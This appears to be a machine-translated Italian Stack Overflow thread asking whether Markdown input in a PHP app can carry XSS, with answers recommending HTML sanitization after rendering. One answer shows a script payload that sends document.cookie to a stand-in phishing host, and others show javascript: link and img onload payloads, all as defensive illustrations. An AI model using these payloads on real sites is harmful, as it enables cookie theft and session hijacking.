Domanda

Sto lavorando a un'applicazione Web che consente agli utenti di digitare brevi descrizioni di elementi in un catalogo. Sto permettendo Markdown nei miei textareas così gli utenti possono fare un po 'di formattazione HTML.

La mia funzione di sanificazione del testo rimuove tutti i tag da qualsiasi testo immesso prima di inserirlo nel database:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

In sostanza, tutto ciò che sto archiviando nel database è Markdown - nessun altro HTML, nemmeno " HTML di base " (come qui a SO) è consentito.

Consentire il markdown presenterà eventuali minacce alla sicurezza? Il markdown può essere XSSed, anche se non ha tag?

È stato utile?

Soluzione

Penso che rimuovere qualsiasi tag HTML dall'input ti renderà qualcosa di abbastanza sicuro - tranne se qualcuno trova un modo per iniettare alcuni dati davvero incasinati in Markdown, facendolo generare un output ancora più incasinato ^^

Tuttavia, ecco due cose che mi vengono in mente:

Primo: strip_tags non è una funzione miracolosa: ha alcuni difetti ...
Ad esempio, rimuoverà tutto dopo "<", in una situazione come questa:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

L'output che ottengo è:

string '10 appels is ' (length=13)

Che non è carino per i tuoi utenti :-(


Secondo: un giorno o l'altro, potresti voler consentire alcuni tag / attributi HTML; o, anche oggi, potresti voler essere sicuro che Markdown non generi alcuni tag / attributi HTML.

Potresti essere interessato a qualcosa come HTMLPurifier : ti permette di specificare quali tag e attributi dovrebbero essere conservati, e filtra una stringa, in modo che rimangano solo quelli.

Genera anche un codice HTML valido, che è sempre bello ;-)

Altri suggerimenti

Ecco un bell'esempio del motivo per cui devi disinfettare l'HTML dopo, non prima:

Codice markdown:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

Resi come:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

Ora sei preoccupato?

La disinfezione dell'HTML risultante dopo il rendering del Markdown sarà più sicura. In caso contrario, penso che le persone sarebbero in grado di eseguire Javascript arbitrario in Markdown in questo modo:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown converte questo in:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

Che fa il lavoro. ... e non pensare nemmeno di iniziare ad aggiungere il codice per occuparsi di questi casi. La corretta sanificazione non è facile, basta usare un buon strumento e applicarlo dopo aver reso Markdown in HTML.

  

Consentirà markdown presente qualsiasi   minacce alla sicurezza? Può essere markdown   XSSed, anche se non ha tag?

È quasi impossibile fare affermazioni assolute al riguardo - chi può dire in cosa può essere ingannato il parser markdown con input sufficientemente malformato?

Tuttavia, il rischio è probabilmente molto basso, poiché è una sintassi relativamente semplice. L'angolo di attacco più ovvio sarebbe javascript: URL in collegamenti o immagini - probabilmente non consentiti dal parser, ma è qualcosa che darei un'occhiata.

No. Il modo in cui stai usando Markdown non è sicuro. Markdown può essere usato in modo sicuro, ma devi usarlo nel modo giusto. Per dettagli su come utilizzare Markdown in modo sicuro, guarda qui . Vedi il link per i dettagli su come usarlo in sicurezza, ma la versione breve è: è importante usare l'ultima versione, impostare safe_mode e enable_attributes=False.

Il link spiega anche perché fuggire dall'input e quindi chiamare Markdown (come stai facendo) non è sufficiente per essere sicuri. Breve esempio: & Quot; [clickme](javascript:alert%28%22xss%22%29) & Quot ;.

BBcode offre maggiore sicurezza perché stai generando i tag.

< img src = " " & Onload = quot; javascript: alert (\ 'haha \'); quot; / gt;

& &

Se < img > è consentito, questo passerà direttamente attraverso strip_tags;) Bam!

Concordo con Pascal MARTIN sul fatto che la sanificazione HTML sia un approccio migliore. Se vuoi farlo interamente in JavaScript ti suggerisco di dare un'occhiata a la sanificazione di google-caja libreria ( codice sorgente ).

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top